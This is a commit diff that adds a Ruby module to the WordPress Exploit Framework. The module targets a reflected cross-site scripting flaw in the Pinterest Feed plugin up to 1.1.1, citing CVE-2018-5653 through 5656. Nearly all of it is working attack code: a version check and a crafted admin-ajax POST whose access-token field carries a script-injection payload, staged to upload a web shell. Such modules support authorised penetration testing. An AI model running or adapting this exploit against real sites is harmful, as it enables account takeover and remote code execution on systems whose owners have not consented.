Add Pinterest Feed <= 1.1.1 reflected XSS shell upload

Author: rastating

modules/exploit/xss/reflected/pinterest_feed_xss_shell_upload.rb

@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::PinterestFeedReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::StagedReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Pinterest Feed <= 1.1.1 Reflected XSS Shell Upload',
+      author: [
+        'd4wner',   # Dislosure
+        'rastating' # WPXF module
+      ],
+      references: [
+        ['CVE', '2018-5653'],
+        ['CVE', '2018-5654'],
+        ['CVE', '2018-5655'],
+        ['CVE', '2018-5656'],
+        ['WPVDB', '9009']
+      ],
+      date: 'Jan 12 2018'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('weblizar-pinterest-feeds', '1.1.2')
+  end
+
+  def initial_script
+    create_basic_post_script(
+      wordpress_url_admin_ajax,
+      'action' => 'pffree_security',
+      'PFFREE_Access_Token' => "'\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>"
+    )
+  end
+end